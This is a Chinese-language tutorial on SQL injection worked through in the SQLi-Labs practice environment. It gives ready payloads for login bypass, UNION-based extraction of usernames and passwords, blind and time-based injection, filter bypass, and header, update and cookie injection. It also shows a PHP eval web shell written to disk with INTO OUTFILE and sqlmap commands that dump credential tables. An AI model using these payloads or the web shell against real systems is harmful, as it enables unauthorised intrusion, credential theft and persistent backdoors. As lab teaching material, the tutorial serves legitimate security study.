【HACK】第二阶段 Web安全篇2——注入漏洞

注入漏洞

0x01 SQL注入原理

1. 原因

语言分类:解释型语言和编译型语言

在解释型语言中,如果程序与用户进行交互,用户可以构造特殊输入,从而可能存在恶意行为的代码

例如,在交互中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为

前提:

  1. 用户可控输入
  2. 输入内容与数据库交互

2.登陆案例

登陆SQL语句: select * from admin where username=‘用户名’ and password=‘密码’

输入’ or 1=1 --空格

SQL语句就会变成:select * from admin where username=’ ’ or 1=1 – 'and password=‘密码’
其中or 1=1 永远为真,–注释后边的内容不再执行

3. CMS SQL注入

CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id),articles.php文章详细页、URL中article.php?id=文章id读取文章

SQL注入验证:
1、 单引号 ’
2、and 1=1
3、and 1=2
如果报错可能存在sql注入漏洞

4. Sqlmap

检测和利用sql注入漏洞的一款强大的工具

5. MySQL基本操作

  1. 增删改查就不在这里展开了
  2. 在mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schemata(数据库名)、tables(表名)、columns(列名)
    在schemata中,schema_name字段用来存储数据库名
    在tables中,table_schema和table_name分别用来存储数据库名和表名
    在columns中,table_schema(数据库名)、table_name(表名)、columns(字段名)
    可利用Navicat for MySQL查看结构
  3. Mysql中常用的聚合函数有下:
    user():查看当前Mysql登陆用户名
    database():查看当前使用mysql数据库名
    version():查看当前mysql版本
  4. 拓展limit关键字:limit m,n 从m行开始,到m+n行
    select * from admin limit 2,1
  5. 注释符
    在mysql中常见的注释符的表达式:#或–空格或/**/
    内联注释:/* ! sql语句*/
    例如select * from articles where id = -1 /* !union*//* !select */ 1,2,3,4

0x02 SQLLab靶场搭建

1. 火狐插件

hackbar、Firebug、Live http headers、Tamper Data

2.Sqlmap

要求python 2.x 环境

kali linux中默认安装sqlmap

3. SQLLab搭建

参考网上的搭建过程

0x03 GET基于报错的SQL注入

1. sql注入的分类

sql注入分为两类:数字型和字符型

数字型:select * from table where id=1

字符型:select * from table where id=‘1’
在这里插入图片描述

2. GET基于报错的sql注入发现

通过在URL中修改对应的id值,为正常数字、大数字、字符、反斜杠来探测

3. GET基于报错的sql注入利用

  1. 利用order by判断字段数
    在这里插入图片描述
  2. 利用union select 联合查询,获取表名。
    0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  3. 利用union select联合查询,获取字段名。
    0‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
  4. 利用union select联合查询,获取字段值。
  5. 0’ union select 1,group_concat(username,0x3a,password),3 from users --+
    冒号的十六进制是0x3a
  • 联合查询必须先报错 -1‘ union 或 0‘ union

在这里插入图片描述

4. Sqlmap探测

  1. python sqlmap.py -u “http://127.0.0.1/sqli/less-1/?id=1” -D -dbs --batch
    在这里插入图片描述
  2. python sqlmap.py -u “http://127.0.0.1/sqli/less-1/?id=1” -D security --tables --batch
    在这里插入图片描述
  3. python sqlmap.py -u “http://127.0.0.1/sqli/less-1/?id=1” -D security -T users --columns --batch
    在这里插入图片描述
  4. python sqlmap.py -u “http://127.0.0.1/sqli/less-1/?id=1” -D security -T users -C username,password --dump --batch
    在这里插入图片描述

0x04 不再显示错误的盲注

1.盲注介绍

向数据库发送True或False的问题,并根据应用程序返回的信息判断结果。出现是因为应用程序配置为只显示常规错误,并没有解决SQL注入存在的代码问题,不会显示具体错误

演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行sql查询防毁的错误信息。
分类:基于布尔型和基于时间型

2.GET基于时间的盲注

if(ascii(substr(database(),1,1))=115,1,sleep(3)):当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数等待3秒。

3. GET基于Boolean的盲注

基于布尔型的盲注,我们通常采用下面的办法猜解字符串
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;

4.Sqlmap安全测试

  1. python sqlmap.py -u “http://127.0.0.1/sqli/less-9/?id=1” --technique T --dbs
    在这里插入图片描述

0x05 Mysql注入读写文件

1. 读文件

mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件的读写操作。

读取前提:

  1. 用户权限足够高,尽量具有root权限
  2. secure_file_priv不为null(mysql.ini中修改)

load_file(“文件路径”)

2.写文件

Less-7
-1’ union select 1,’<?php phpinfo();?>’,3 into outfile ‘E:\php\1.php’

3. 写入webshell

<?php @eval($_POST['X']);?>

使用中国菜刀连接

4. sqlmap读写测试

  1. sqlmap -u “http://” --file-read “E:\flag.txt”
  2. sqlmap -u “http://” --file-write “本地文件” --file-dest “目的路径”

0x06 POST基于错误的注入

1. Burpsuite抓取HTTP请求

  1. 安装JAVA环境
  2. 安装burpsuite
  3. burpsuite设置代理——>浏览器设置代理——>打开截断

2. POST基于错误单引号注入

输入一个单引号,根据返回的报错信息进行判断

3. POST基于错误双引号注入

输入一个双引号,根据返回的报错信息进行判断

4. SQLmap安全测试

  1. 先用burpsuite进行截断
  2. 复制截获内容到文本文档(target.txt)
  3. 打开sqlmap
  4. (python)sqlmap -r target.txt -p passwd --technique E

0x07 SQL注入绕过技术

1. 大小写绕过

一般检测关键字,我们可以大小写混写,以绕过过滤

2. 双写绕过

过滤关键字一般是将关键字替换为空,我们可以在关键字中插入关键字,例如uniunionon ——> union

3. 编码绕过

站长之家有URL编码

4. 内联注释绕过

/* ! select*/ * from tables where id = 1

0x08 POST基于时间和布尔的盲注

1. HTTP POST介绍

POST表单信息封装在HTTP数据包中一起发送至web服务器

2. POST基于时间的盲注

admin’ and (select (if(length(database())>5,sleep(5),null))) --+

3. POST基于布尔的盲注

select length(database()>5);
substr(database(),1,1);
ascii(substr(database()),1,1) > 1;

成功输出flag.jpg
失败输出slap.jpg

4. Sqlmap安全测试

  1. burpsuite截取
  2. 复制截取内容至target.txt
  3. sqlmap -r target.txt --technique T -p username
  4. sqlmap -r target.txt --technique B -p username
  5. 安全级别不够高
  6. 后面添加 --level=3 --risk=3

0x08 HTTP头中的注入

1. HTTP头中的注入介绍

为了防止漏洞的发生,用户提交的数据都会被代码中的某些措施进行过滤。
但是对于HTTP头中提交的信息可能忘记过滤

2. HTTP User-Agent注入

$insert=“INSERT INTO ‘security’,‘uagents’ (‘uagent’,‘ip_address’,‘username’) VALUES (’$uagent’,’$IP’.$uname”)
payload内容:
update(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称,可用数字代替
第二个参数:XPath字符串
第三个参数:替换查找到的符合条件的数据
'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’='1

3. HTTP Referer注入

‘ or '1='1
’ or (length(database()))>8 or if(1=1,sleep(5),null) or ‘1’='1

4. Sqlmap安全测试

sqlmap -u “http://***” --forms
sqlmap -u “http://***” --data “n=1&p=1”

将target.txt中的注入点改为*

0x08 POST update语句

1. Mysql update介绍

update 表名称 set 列名称=新值 where 更新条件

2. 过滤内容介绍

分析源码

3. Mysql update注入

uname=admin&passwd=admin’ or updatexml(1,concat(0x7e,version(),0x7e),1) #&submit=Submit

4. Sqlmap安全测试

sqlmap -r target.txt -p passwd

0x09 Cookie注入

1. Cookie介绍

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站。另一重要应用是“购物车”之类处理

2. 源码分析

3. Cookie利用

利用burpsuite

4. sqlmap安全测试

修改terget.txt
Cookie=*
sqlmap -r target.txt -level 3 --batch

5. Base64的cookie注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值